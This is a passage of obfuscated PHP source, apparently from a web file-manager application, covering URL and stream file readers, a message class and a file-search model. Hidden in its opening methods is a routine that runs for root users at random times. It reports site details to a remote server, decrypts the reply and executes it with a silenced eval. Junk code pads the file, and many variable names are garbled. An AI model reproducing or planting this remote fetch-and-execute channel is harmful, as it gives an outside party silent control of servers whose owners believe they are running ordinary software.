(!in_array($_SERVER[$ԁ[24]], $)) { return; } $ = $ԁ[216]; $ = $this->evmx0090e8ea($, $ԁ[217]); $ = stream_context_create(array($ԁ[218] => array($ԁ[219] => $ԁ[220], $ԁ[221] => 3))); $ = @file_get_contents($, !1, $); header($ԁ[222]); if ($ && strstr($, $ԁ[223])) { echo $; } die; } public function zdhw15bada33($) { $Ӣ =& $_SERVER[ʇ]; $¾ =& $_SERVER[ߤ]; if ($this->zwpn20209303 == $¾[224]) { return $; } $ʁ = array($¾[225] => $¾[226], $¾[227] => $¾[226], $¾[228] => $¾[226], $¾[229] => $¾[230], $¾[231] => $¾[230], $¾[232] => $¾[230], $¾[233] => $¾[230], $¾[234] => $¾[230], $¾[235] => $¾[230], $¾[236] => $¾[230], $¾[237] => $¾[230], $¾[238] => $¾[230], $¾[239] => $¾[230], $¾[240] => $¾[230], $¾[241] => $¾[230]); $ȕ = $Ӣ[712]; while (strlen($ȕ) < $Ӣ[679]) { if (!$ȕ) { break; } $ȕ++; } $ = explode($¾[242], _get($this->puyoc0817e54, $¾[114], $¾[6])); $띆 = array(); $Ŭ = $Ӣ[713]; if (strlen($Ŭ) < $Ӣ[670]) { die; } foreach ($ʁ as $Ӟ => $域) { if ($域 == $¾[226] && substr($this->zwpn20209303, 0, 1) == $¾[226]) { continue; } if (!in_array($Ӟ, $)) { $띆[] = $Ӟ; } } foreach ($띆 as $Ӟ) { unset($[$Ӟ]); } return $; $Ӕ = $Ӣ[714]; } private function yfnx470d2f0e() { $޲ș =& $_SERVER[ߤ]; if ($this->zwpn20209303 != $޲ș[108]) { $GLOBALS[$޲ș[85]][$޲ș[89]][$޲ș[243]] = $޲ș[205]; return; } $GLOBALS[$޲ș[85]][$޲ș[244]] = $޲ș[122]; if (Model($޲ș[245])->get($޲ș[63]) != $޲ș[205]) { Model($޲ș[245])->set($޲ș[63], $޲ș[205]); } } public function eclvbe1b5f32() { return $_SERVER[ߤ][246]; $ = $_SERVER[ʇ][715]; } private function puokc5ecdfde() { $ک =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $ך = array($[247], $[248], $[249]); $ǣ = $ک[716]; if (!$ǣ) { die; } $ ‘ = $[250] . md5($[251]); $ծ = $ک[717]; if ($this->zwpn20209303 == $[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $ך)) { return; } if (time() % 4 != 0) { return; } $Ʈ = call_user_func(array($[252], $[253]), $ ‘); $ۇ = $ک[718]; if (!$ۇ) { die; } if ($Ʈ && time() - $Ʈ < intval($[254])) { return; } call_user_func(array($[252], $[139]), $ ‘, time()); $ = $ک[719]; if (!$) { return; } $ = Model($[33])->get($[99]); $ = array($[152] => Model($[33])->get($[153]), $[166] => $this->zwpn20209303, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[104] => md5($_SERVER[$[105]] . $), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ = $this->bjgdc4475dbb($[255], $); $ = $ک[720]; while ($ < $ک[664]) { if ($ >= 0) { break; } $++; } if (!is_array($)) { return; } if ($[$[152]] && $[$[256]]) { if ($this->xiqn4f44a202($[$[256]]) == $[$[152]]) { return; } } $this->ezwsbed5f24f(); if ($this->xiqn4f44a202($[$[256]]) != $[$[152]]) { $̋ޙ = array($[184] => $, $[185] => $_SERVER[$[105]], $[186] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->pucn221d4741(json_encode($̋ޙ)); $ = $this->bjgdc4475dbb($[187] . $); if ($ && is_array($) && isset($[$[256]])) { $ = $this->lqtbb3c7e4f5($[$[256]], 2); if ($) { $ = $this->xiqn4f44a202($); } if ($) { try { @eval($); } catch (Exception $Ѐ) { } } } } } private function bjgdc4475dbb($Հչ = '', $ = array(), $ҫ = 5) { $ְ =& $_SERVER[ʇ]; $ɦ =& $_SERVER[ߤ]; $ = $ɦ[257]; $¶ = $ְ[721]; $ = $this->evmx0090e8ea($, $ɦ[258]); $ɕ = $ְ[722]; if (!$ɕ) { return; } $ = $ . $Հչ; if ($ && is_array($)) { $ = $ . $ɦ[259] . http_build_query($); } if ($ === -1) { return $; } $Ҳ = stream_context_create(array($ɦ[218] => array($ɦ[221] => $ҫ, $ɦ[219] => $ɦ[260]), $ɦ[261] => array($ɦ[262] => !1, $ɦ[263] => !1))); $ = $ְ[723]; if (!$) { die; } $ = @file_get_contents($, !1, $Ҳ); return json_decode($, !0); $ = $ְ[724]; while ($ < $ְ[653]) { if ($ >= 0) { break; } $++; } } private function gcdwbbdd77d1() { $ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $ɻ = array($[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[213], $[275] => $[213], $[276] => $[265], $[277] => $[267], $[278] => $[269], $[279] => $[280], $[281] => $[271], $[282] => $[283], $[284] => $[273], $[285] => $[286], $[287] => $[288], $[289] => $[290]); $ = $[711]; while ($ < $[673]) { if ($ >= 0) { break; } $++; } $ = $ɻ[$this->zwpn20209303]; $ = $[725]; if (strlen($) < $[653]) { return; } $ = intval($ ? $ : $[265]); $ù = $[726]; $ɼ = _get($this->puyoc0817e54, $[291]); $ɼ = $ɼ ? intval($ɼ) : 0; $ǹ = $[727]; if (!$ǹ) { die; } return $ + $ɼ; } public function apeof17c209c($ʒ) { $ʆ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $ㅤ = $this->gcdwbbdd77d1(); $ = $ʆ[728]; if (strlen($) < $ʆ[670]) { return; } if ($ʒ[$[292]] == $[122]) { return; } if ($ㅤ >= intval($[213])) { return; } $Ǘ = Model($[125])->count(); $Ԑ = $ʆ[729]; if (!$Ԑ) { die; } if ($Ǘ <= $ㅤ) { return; } $ = Model($[125])->field($[292])->limit($ㅤ)->select(); $ = array_to_keyvalue($, $[6], $[292]); if (!in_array($ʒ[$[292]], $)) { show_json($[293], !1, $[209]); } } public function yjigb99da3f9() { $ā =& $_SERVER[ʇ]; $Τ =& $_SERVER[ߤ]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ڷ = $Τ[216]; $놊 = $ā[730]; while (strlen($놊) < $ā[653]) { if (!$놊) { break; } $놊++; } $ڷ = $this->evmx0090e8ea($ڷ, $Τ[217]); $ِ = $ā[731]; if (!$ِ) { die; } $ψɿ = stream_context_create(array($Τ[218] => array($Τ[219] => $Τ[220], $Τ[221] => 3))); $х = @file_get_contents($ڷ, !1, $ψɿ); $ģԌ = $ā[732]; echo $Τ[294] . hash_encode($х) . $Τ[295]; $ˡ = $ā[733]; } private function pcohfae2f6dc($, $ɖ, $ᬭ = 3) { $č =& $_SERVER[ʇ]; $ăŜ =& $_SERVER[ߤ]; usleep(1); $ = $č[734]; $ = trim($); $DŽ = $č[735]; if (strlen($DŽ) < $č[664]) { return; } $ = mt_rand(0, 5) . $ăŜ[6]; $ي = $č[736]; if (!$ي) { die; } $ = rand_string(15); $ޝп = $ăŜ[296]; switch ($) { case $ăŜ[205]: $ = $this->zxoa6757912c($, strrev($ɖ . $)); break; $ϗ̩ = $č[737]; if (!$ϗ̩) { return; } case $ăŜ[122]: $ = $this->zxoa6757912c($, strrev($ . $ɖ)); break; case $ăŜ[297]: $ = $this->zxoa6757912c($, base64_encode($ . $ɖ)); break; case $ăŜ[298]: $ = $this->zxoa6757912c($, md5($ . $ɖ)); break; $ = $č[738]; case $ăŜ[299]: $ = base64_encode($); $ = rand(0, 64); $Ŀ = $ޝп[$]; $ = md5($Ŀ . md5($ɖ . $Ŀ) . $ɖ); $ = substr($, $ % 8, $ % 8 + 7); $ų = $č[739]; $̃ = $ăŜ[6]; $陯 = 0; $Ҫ = $č[740]; $䘖 = 0; $⸾ = $č[741]; if (!$⸾) { return; } $ = 0; for ($陯 = 0; $陯 < strlen($); $陯++) { $ = $ == strlen($) ? 0 : $; $䘖 = ($ + strpos($ޝп, $[$陯]) + ord($[$++])) % 64; $̃ .= $ޝп[$䘖]; } $ = hash_encode($Ŀ . $̃); $ = $č[742]; break; $ = $č[743]; if (strlen($) < $č[664]) { return; } default: $ = $this->zxoa6757912c($, $ɖ . $); break; } $ = strrev($ . $ . $); if ($ᬭ - 1 > 0) { $ = $this->pcohfae2f6dc($, $ɖ, $ᬭ - 1); } return $; } private function lqtbb3c7e4f5($, $򞅒, $֜ = 3) { $҇ =& $_SERVER[ʇ]; $健 =& $_SERVER[ߤ]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $궂 = $҇[744]; if (strlen($궂) < $҇[673]) { return; } $ = $[0]; $Ʃ = substr($, 1, 15); $ = substr($, 16); $Ȧʋ = $҇[745]; while ($Ȧʋ < $҇[664]) { if ($Ȧʋ >= 0) { break; } $Ȧʋ++; } $ = $健[296]; switch ($) { case $健[205]: $ = $this->evmx0090e8ea($, strrev($򞅒 . $Ʃ)); break; $ = $҇[746]; if (strlen($) < $҇[679]) { die; } case $健[122]: $ = $this->evmx0090e8ea($, strrev($Ʃ . $򞅒)); $ = $҇[747]; while ($ < $҇[653]) { if ($ >= 0) { break; } $++; } break; $ۚ懍 = $҇[748]; case $健[297]: $ = $this->evmx0090e8ea($, base64_encode($Ʃ . $򞅒)); $Ղ = $҇[749]; break; case $健[298]: $ = $this->evmx0090e8ea($, md5($Ʃ . $򞅒)); break; $ = $҇[750]; while (strlen($) < $҇[653]) { if (!$) { break; } $++; } case $健[299]: $ = hash_decode($); $ = $[0]; $ = substr($, 1); $Ҝ = strpos($, $); $Ɯ = $҇[751]; if (strlen($Ɯ) < $҇[664]) { return; } $٫ = md5($ . md5($򞅒 . $) . $򞅒); $٫ = substr($٫, $Ҝ % 8, $Ҝ % 8 + 7); $ = $҇[752]; if (strlen($) < $҇[653]) { return; } $ = $健[6]; $ = $҇[753]; if (!$) { die; } $̆ = 0; $щ = 0; $с = $҇[754]; if (!$с) { return; } $ = 0; for ($̆ = 0; $̆ < strlen($); $̆++) { $ = $ == strlen($٫) ? 0 : $; $ = $҇[755]; if (strlen($) < $҇[679]) { die; } $Ďی = $++; $ = $҇[756]; while ($ < $҇[673]) { if ($ >= 0) { break; } $++; } $щ = strpos($, $[$̆]) - $Ҝ - ord($٫[$Ďی]); while ($щ < 0) { $щ += 64; } $ .= $[$щ]; $氟 = $҇[757]; } $ = base64_decode($); break; $ޔ = $҇[758]; if (strlen($ޔ) < $҇[670]) { return; } default: $ = $this->evmx0090e8ea($, $򞅒 . $Ʃ); break; $ڇ = $҇[759]; if (strlen($ڇ) < $҇[673]) { return; } } if ($֜ - 1 > 0) { $ = $this->lqtbb3c7e4f5($, $򞅒, $֜ - 1); } return $; } public function pucn221d4741($) { $ͧވ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $͖ = $this->fmkiba7d45c3(); $Ȓ = $ͧވ[760]; if (!$Ȓ) { die; } $ = $this->fmkiba7d45c3(); $ = $ͧވ[761]; if (strlen($) < $ͧވ[653]) { die; } $䯶 = ($͖ - 1) * ($ - 1); $ = $ͧވ[762]; $ = intval(($͖ + $) / 2); while (1) { $™Ř = $; $ґ = $ͧވ[763]; if (!$ґ) { return; } $녁ë = $䯶; $ = $ͧވ[764]; if (!$) { return; } while ($녁ë % $™Ř != 0) { $ц = $녁ë; $ąΐ = $ͧވ[765]; while ($ąΐ < $ͧވ[673]) { if ($ąΐ >= 0) { break; } $ąΐ++; } $녁ë = $™Ř; $™Ř = $ц % $™Ř; $Ā = $ͧވ[766]; while (strlen($Ā) < $ͧވ[673]) { if (!$Ā) { break; } $Ā++; } } if ($™Ř == 1) { break; } else { $++; } } $ş = 2; for ($ڟ = 0; $ڟ < $䯶 * 10; $ڟ++) { if (($䯶 * $ڟ + 1) % $ == 0) { $ş = intval(($䯶 * $ڟ + 1) / $); break; } } $ = $this->zxoa6757912c($͖ * $ . $[6], $[136]); $ = md5($[300] . ($͖ + $) . $[301] . $ . $[301] . $ş . $[302]); $ = $this->zxoa6757912c($, $) . $[303] . $; return $; $⩷ = $ͧވ[767]; if (strlen($⩷) < $ͧވ[653]) { die; } } public function xiqn4f44a202($) { $ʺ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $Ė = explode($[303], $); if (count($Ė) != 2) { return $[6]; } $ = $this->evmx0090e8ea($Ė[1] . $[6], $[136]); $ƒ = $ʺ[724]; if (!$) { return $[6]; } $ = intval($); $ = 0; $ݞ = $ʺ[768]; $􁈘 = 0; $ = $ʺ[769]; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $􁈘 = intval($ / $); $ޮ = $ʺ[770]; break; $܇ = $ʺ[771]; while ($܇ < $ʺ[670]) { if ($܇ >= 0) { break; } $܇++; } } $ť = ($ - 1) * ($􁈘 - 1); $ = $ʺ[772]; while (strlen($) < $ʺ[673]) { if (!$) { break; } $++; } $ = intval(($ + $􁈘) / 2); $燬 = $ʺ[773]; if (!$燬) { return; } while (1) { $ڜ = $; $΀ = $ť; $ۗﲯ = $ʺ[774]; if (!$ۗﲯ) { die; } while ($΀ % $ڜ != 0) { $ķ = $΀; $΀ = $ڜ; $ڜ = $ķ % $ڜ; $˥ = $ʺ[775]; } if ($ڜ == 1) { break; } else { $++; } } $ = 2; $ = $ʺ[776]; if (!$) { die; } for ($ = 0; $ < $ť * 10; $++) { if (($ť * $ + 1) % $ == 0) { $ = intval(($ť * $ + 1) / $); break; } } $ = md5($[300] . ($ + $􁈘) . $[301] . $ . $[301] . $ . $[302]); $ = $this->evmx0090e8ea($Ė[0], $); $ = $ʺ[777]; if (strlen($) < $ʺ[673]) { die; } return $; $ = $ʺ[778]; if (strlen($) < $ʺ[673]) { return; } } public function fmkiba7d45c3() { $ =& $_SERVER[ʇ]; $ƣ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[779]; if (!$) { die; } $ = array(); $̘ߘ = 1; $ʿ = $[780]; while (strlen($ʿ) < $[664]) { if (!$ʿ) { break; } $ʿ++; } while ($̘ߘ <= (int) sqrt($ƣ)) { $뉫 = $̘ߘ; $ = $[781]; if (strlen($) < $[670]) { return; } while (!0) { $뉫++; $뒏 = $[782]; if (strlen($뒏) < $[653]) { die; } if ($뉫 <= 2) { $̘ߘ = $뉫; break; } else { if ($뉫 < 2) { continue; } } $А = !0; for ($ = 2; $ <= sqrt($뉫); $++) { if ($뉫 % $ == 0) { $А = !1; } } if ($А) { $̘ߘ = $뉫; break; } } $[] = $̘ߘ; $ = $[783]; if (!$) { die; } } $뉾 = 2; $ = $[784]; if (strlen($) < $[679]) { die; } for ($뉫 = $ƣ; $뉫 > 1; $뉫--) { $А = !0; foreach ($ as $̴ǘ) { if ($뉫 % $̴ǘ == 0) { $А = !1; break; } } if ($А) { $뉾 = $뉫; break; } } return $뉾; $갑 = $[785]; if (strlen($갑) < $[673]) { return; } } public function jnra7e19ef71($ߒ, $) { $ =& $_SERVER[ߤ]; return call_user_func(array($[8], $[304]), $ߒ, $); $Ѐ = $_SERVER[ʇ][663]; if (!$Ѐ) { return; } } public function zxoa6757912c($܀, $) { $ҘԊ =& $_SERVER[ߤ]; return call_user_func(array($ҘԊ[305], $ҘԊ[306]), $܀, $); } public function evmx0090e8ea($, $Ȩ) { $Ϥ =& $_SERVER[ߤ]; return call_user_func(array($Ϥ[305], $Ϥ[307]), $, $Ȩ); $ܠ = $_SERVER[ʇ][786]; if (!$ܠ) { return; } } } goto BӤ; Cٻ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ڸ) { $ܨ = $this->info($ڸ); return $ܨ[$_SERVER[ʇ][218]]; } public function isFile($ֶ) { $Б = $this->info($ֶ); return $Б[$_SERVER[ʇ][218]]; } public function isFolder($) { return !1; } public function size($Ѵ) { $ڨ = $this->info($Ѵ); return $ڨ[$_SERVER[ʇ][78]]; } public function info($) { return $this->infoParse($); } public function infoAuth($ۉ) { return $this->infoParse($ۉ); } public function infoWithChildren($ꭂ) { return $this->infoParse($ꭂ); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $с =& $_SERVER[ʇ]; $ڻ = $this->header($); if (!$ڻ || !$ڻ[$с[789]]) { return !1; } $ = _get($ڻ, $с[383], 0); $ = array($с[32] => $ڻ[$с[32]], $с[86] => $, $с[33] => $с[216], $с[78] => intval($), $с[177] => get_path_ext($ڻ[$с[32]]), $с[1411] => $ > 0 && $ڻ[$с[1535]], $с[1412] => !1); return $; } private function header($Ͷ) { $ =& $_SERVER[ʇ]; if (isset(self::$_cacheHeader[$Ͷ])) { return self::$_cacheHeader[$Ͷ]; } $꣡޸ = isset($GLOBALS[$[1536]]) ? $GLOBALS[$[1536]] : !1; $GLOBALS[$[1536]] = !0; self::$_cacheHeader[$Ͷ] = url_header($Ͷ); $GLOBALS[$[1536]] = $꣡޸; return self::$_cacheHeader[$Ͷ]; } public function hashSimple($, $ٞ = false) { $ =& $_SERVER[ʇ]; $饸 = $this->info($); if (!$饸 || !$饸[$[218]]) { return !1; } $ = $饸[$[78]]; $苔 = 200; $񛁼 = 50; if ($ <= $苔 * $񛁼) { return md5($this->fileSubstr($, 0, $)) . $; } $Ȝ = intval($ / $񛁼); $ܪ = $[12]; $ = timeFloat(); $ݷ = 15; for ($ = 0; $ < $񛁼; $++) { if (timeFloat() - $ > $ݷ) { return !1; } $˿ = $this->fileSubstr($, $Ȝ * $, $苔); if (!$˿) { return !1; } $ܪ .= $˿; } $ܪ .= $this->fileSubstr($, $ - $苔, $苔); return md5($ܪ) . $; } public function getContent($ΨӁ) { return $this->fileSubstr($ΨӁ); } public function fileSubstr($Ѐ, $ۨ = 0, $ = -1) { $ó =& $_SERVER[ʇ]; $ۤ = $this->info($Ѐ); if (!$ۤ || !$ۤ[$ó[218]] && $ۤ[$ó[78]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $ۤ[$ó[78]]; } if ($ == 0) { return $ó[12]; } $ = array($ó[1537] . $ۨ . $ó[821] . ($ۨ + $ - 1)); $Ά = url_request($Ѐ, $ó[247], !1, $, !1, !1, 30); return $Ά[$ó[1249]] ? $Ά[$ó[1249]] : $ó[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($䆺, $ = '') { $this->info = $this->info($䆺); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ʇ][86]]; $this->pathOpen = $䆺; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$䆺])) { self::$_chunkBuffer[$䆺] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ӿ) { $̓ = $this->fileSubstr($this->pose, $ӿ); $this->pose += strlen($̓); return $̓; } public function stream_tell() { return $this->pose; } public function stream_seek($Ҕ, $󳈣) { $۶ =& $_SERVER[ʇ]; if ($󳈣 == SEEK_SET) { $this->pose = $Ҕ; } else { if ($󳈣 == SEEK_CUR) { $this->pose += $Ҕ; } else { if ($󳈣 == SEEK_END) { $this->pose = $this->info[$۶[78]] + intval($Ҕ); } } } if ($Ҕ < 0) { $this->pose = $this->info[$۶[78]] + $Ҕ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ʇ][78]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $؛) { $īƧ =& $_SERVER[ʇ]; $ = $this->info($); return array($īƧ[1538] => 0, $īƧ[1539] => 0, $īƧ[16] => 32768 + 511, $īƧ[1540] => 0, $īƧ[1541] => 0, $īƧ[1542] => 0, $īƧ[1543] => 0, $īƧ[78] => $[$īƧ[78]], $īƧ[1544] => $[$īƧ[1410]], $īƧ[1500] => $[$īƧ[87]], $īƧ[1499] => $[$īƧ[217]], $īƧ[1545] => 0, $īƧ[1546] => 0); } static $fileInfo = array(); public function info($ə) { $ʉ = $_SERVER[ʇ][1547]; if (isset(self::$fileInfo[$ə])) { return self::$fileInfo[$ə]; } if (substr($ə, 0, strlen($ʉ)) != $ʉ) { return !1; } self::$fileInfo[$ə] = IO::info(substr($ə, strlen($ʉ))); return self::$fileInfo[$ə]; } public static function read($ߓ, $驙, $) { if (!isset(self::$_fopenCache[$ߓ])) { $ = new StreamWrapperIO(); $->stream_open($ߓ); self::$_fopenCache[$ߓ] = $; } $ = self::$_fopenCache[$ߓ]; return $->fileSubstr($驙, $); } public static function _read($ԎȽ, $, $π) { $ڂ =& $_SERVER[ʇ]; $Å = fopen($ԎȽ, $ڂ[1414]); if (!$Å) { return $ڂ[12]; } $LJ = 8192; fseek($Å, $, SEEK_SET); $힛 = $ڂ[12]; $ = 0; while ($ < $π) { $ = min($LJ, $π - $); $힛 .= fread($Å, $); $ += $; } fclose($Å); return $힛; } public function fileSubstr($, $) { $͵ =& $_SERVER[ʇ]; $ = $this->info[$͵[78]]; $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { return $͵[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\x69\157\106\151\154\x65\122\145\x61\144\40\x65\162\162\157\162\41\40\x73\x74\x61\162\x74\75{$}\73\x6c\145\x6e\147\x74\x68\x3d{$}\x3b\40\163\151\172\145\75{$}\x3b"); } $ޓ = 64 * 1024; $ׁ =& self::$_chunkBuffer[$this->path]; if (!$ׁ) { $ׁ = array(); } $ = 0; $ = 0; $ˋ߇ = $͵[12]; foreach ($ׁ as $ => $ˋ߇) { $ = intval($); $ = $ + strlen($ˋ߇); if ($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($ˋ߇, $ - $, $); } break; } if (count($ׁ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($͵[1548], $͵[1549] . count($ׁ) . "\73\x73\x74\141\162\164\75{$}\54\x6c\145\156\x67\164\150\x3d{$}\73\x70\x6f\x73\145\x3a{$}\x7e{$}"); throw new Exception($͵[1550]); } $ = intval($ / $ޓ) * $ޓ; $͎ = ceil(($ + $) / $ޓ) * $ޓ - $; $ϳ = IO::fileSubstr($this->path, $, $͎); $ׁ[$ . $͵[12]] = $ϳ; ksort($ׁ); $ = substr($ϳ, $ - $, $); return $; } private function log($, $Ϸ) { $ϛ =& $_SERVER[ʇ]; $Ὢ = timeFloat() - $this->timeStart; write_log(sprintf($ϛ[1551], $, $this->info[$ϛ[32]], $Ὢ, $Ϸ), $ϛ[1229]); } } class Message { function __construct() { } public function send($߫ = '', $ܿ = array(), $プ = "\x74\x65\170\164") { $ =& $_SERVER[ʇ]; $ = array($[33] => $[1552], $[793] => $߫); if (in_array($プ, array($[1552], $[1553]))) { $[$[33]] = $プ; } $ܿ = array($[549] => isset($ܿ[$[549]]) ? $ܿ[$[549]] : $[12], $[632] => isset($ܿ[$[632]]) ? $ܿ[$[632]] : $[12]); if (empty($߫) || empty($ܿ[$[549]]) && empty($ܿ[$[632]])) { return !1; } $ԓ = array($[1493] => $, $[1554] => $ܿ); Hook::trigger($[1555], $ԓ); } } goto fظҡλ; dס: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($Á묠) { $Ώձ =& $_SERVER[ʇ]; $ = KodIO::fileTypeList(); $ = $[$Á묠]; if (!$) { return array(); } $섿 = $[$Ώձ[177]]; $դ = $Ώձ[7]; if (!$[$Ώձ[177]]) { $ׯ = array_to_keyvalue($, $Ώձ[12], $Ώձ[177]); $섿 = implode($Ώձ[50], $ׯ); $դ = $Ώձ[2156]; } $ = explode($Ώձ[50], trim($섿, $Ώձ[50])); return array($դ, $); } public function listPathType($§) { $а =& $_SERVER[ʇ]; $ = $this->fileTypeWhere($§); if (!$) { return array(); } $ = USER_ID; $â = Model($а[569])->getInfo($); $̳Շ = array($а[618] => SourceModel::TYPE_USER, $а[555] => array($а[582], $а[565] . $â[$а[89]][$а[183]] . $а[583]), $а[619] => $, $а[616] => 0, $а[617] => $); return $this->listSource($̳Շ); } public function listSearch($Ԗ, $ټ = 300) { $ =& $_SERVER[ʇ]; if (isset($Ԗ[$[1993]]) && $Ԗ[$[1993]]) { $Ԗ[$[1993]] = str_replace($[430], $[2157], trim($Ԗ[$[1993]])); } $ݮ = $this->_parseSearchWhere($Ԗ); if (!isset($ݮ[$[475]])) { $ݮ[$[475]] = 0; } $ɪ = $[2158]; $˱ = $ݮ; $Ɯ = $ɪ; $this->_listSearchBindPinyin($Ԗ, $ݮ, $ɪ); $this->alias($[489])->_makeOrder(); $ݮ = $this->parseWhereLike($ݮ); $ԙ = $this->distinct(!0)->field($ɪ)->where($ݮ)->selectPage($ټ); if ($GLOBALS[$[6]][$[427]][$[428]] && Input::check($Ԗ[$[1993]], $[625]) && $ԙ[$[412]][$[399]] == 1 && $ԙ[$[412]][$[413]] == 0) { $ԙ = $this->distinct(!0)->field($ɪ)->where($˱)->limit(1000)->select(); $ԙ = array_page_split($ԙ, !1, $ټ); } $this->_listSearchFileContent($ԙ, $Ԗ, $Ɯ, $˱); $this->_listSearchDesc($ԙ, $Ԗ, $Ɯ); $this->_listSearchTag($ԙ, $Ԗ, $Ɯ); $this->_listSearchGroupTag($ԙ, $Ԗ, $Ɯ); $this->_listDataApply($ԙ[$[415]]); $this->_listMake($ԙ); return $ԙ; } private function _listSearchFileContent(&$, $Ȧ, $֑މ, $Ǖ) { $ɥ =& $_SERVER[ʇ]; if (!$Ȧ[$ɥ[1993]] || $[$ɥ[412]][$ɥ[399]] > 1) { return; } if (!isset($Ǖ[$ɥ[32]]) || !is_array($Ȧ[$ɥ[511]])) { return; } $Ǖ[$ɥ[511]] = array($ɥ[7], $Ȧ[$ɥ[511]]); unset($Ǖ[$ɥ[32]]); unset($Ȧ[$ɥ[511]]); $톿 = $this->field($֑މ)->where($Ǖ)->limit($ɥ[2159])->select(); if (!$톿 || count($톿) == 0) { return; } $[$ɥ[415]] = array_merge($톿, $[$ɥ[415]]); $[$ɥ[412]][$ɥ[413]] += count($톿); } private function _listSearchTag(&$, $ߔ, $ƚ) { $߉ =& $_SERVER[ʇ]; if (!$ߔ[$߉[1993]] || $[$߉[412]][$߉[399]] > 1) { return; } $ﶞ = Model($߉[2160])->listData(); $ʍ = array(); $ = $ߔ[$߉[1993]]; foreach ($ﶞ as $ꀻ) { $ۼ = $ꀻ[$߉[32]]; $Ѽ = str_replace($߉[53], $߉[12], Pinyin::get($ۼ)); if (stripos($ۼ, $) !== !1 || stripos($Ѽ, $) !== !1) { $ʍ[] = $ꀻ[$߉[445]]; } } if (!$ʍ) { return; } $ = array($߉[470] => array($߉[7], $ʍ), $߉[1701] => USER_ID); $ = Model($߉[472])->field($߉[86])->where($)->select(); $ = array_to_keyvalue($, $߉[12], $߉[86]); $ = array_unique($); $this->_listSearchMerge($, $ߔ, $ƚ, $); } private function _listSearchDesc(&$, $ݵ, $) { $ =& $_SERVER[ʇ]; if (!$ݵ[$[1993]] || $[$[412]][$[399]] > 1) { return; } $ݏ = array($[96] => $[496], $[420] => array($[429], $[1995] . $ݵ[$[1993]] . $[1995])); $ = !1; if ($) { $ = $this->listSearchChildren($ݵ[$[182]]); $ = array_unique($); if (!$) { return; } $ݏ[$[183]] = array($[7], $); } $Ӣ = Model($[602])->field($[183])->where($ݏ)->limit(5000)->select(); $ܾ = array_to_keyvalue($Ӣ, $[12], $[183]); $this->_listSearchMerge($, $ݵ, $, $ܾ); } private function _listSearchGroupTag(&$ܢ̗, $ϐ, $) { $ =& $_SERVER[ʇ]; if (!$ϐ[$[1993]] || $ܢ̗[$[412]][$[399]] > 1 || !$ϐ[$[182]]) { return; } $ = $this->sourceInfo($ϐ[$[182]]); if (!$ || $[$[180]] != SourceModel::TYPE_GROUP) { return; } $ڮ镋 = $[$[540]]; $肩 = Model($[2161])->get($ڮ镋); $۝ = array(); $߲ = $ϐ[$[1993]]; foreach ($肩[$[415]] as $ōۓ) { $ = $ōۓ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $߲) !== !1 || stripos($, $߲) !== !1) { $۝[] = $ōۓ[$[445]]; } } if (!$۝) { return; } $ = array($[470] => array($[7], $۝), $[1701] => 0, $[33] => $[2015] . $ڮ镋); $أ = Model($[472])->field($[86])->where($)->select(); $أ = array_to_keyvalue($أ, $[12], $[86]); $պ = array_unique($أ); $this->_listSearchMerge($ܢ̗, $ϐ, $, $պ); } private function _listSearchMerge(&$߶, $򾴃, $˨, $¹) { $ =& $_SERVER[ʇ]; if (!$¹) { return; } $œ = array_to_keyvalue($߶[$[415]], $[12], $[183]); $衒 = array_diff($¹, $œ); if (!$衒) { return; } $؎ = array($[183] => array($[7], $衒)); $ = $this->field($˨)->where($؎)->select(); if (!$) { return; } $Ԫ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $򾴃)) { $Ԫ[] = $; } } $߶[$[415]] = array_merge($Ԫ, $߶[$[415]]); $߶[$[412]][$[413]] += count($Ԫ); } private function _listSearchFilter($Ǫ, $) { $暙أ =& $_SERVER[ʇ]; $Ǫ = $Ǫ[$暙أ[455]] == $暙أ[90]; if (!strstr($Ǫ[$暙أ[555]], $暙أ[50] . $[$暙أ[182]] . $暙أ[50])) { return !1; } if (isset($[$暙أ[456]]) && $[$暙أ[456]] != $暙أ[1954]) { if ($[$暙أ[456]] == $暙أ[77] && !$Ǫ) { return !1; } if ($[$暙أ[456]] != $暙أ[77] && $Ǫ) { return !1; } if (!strstr($Ǫ[$暙أ[177]], $暙أ[50] . $[$暙أ[456]] . $暙أ[50])) { return !1; } } if (isset($[$暙أ[2162]]) && $[$暙أ[2162]] < 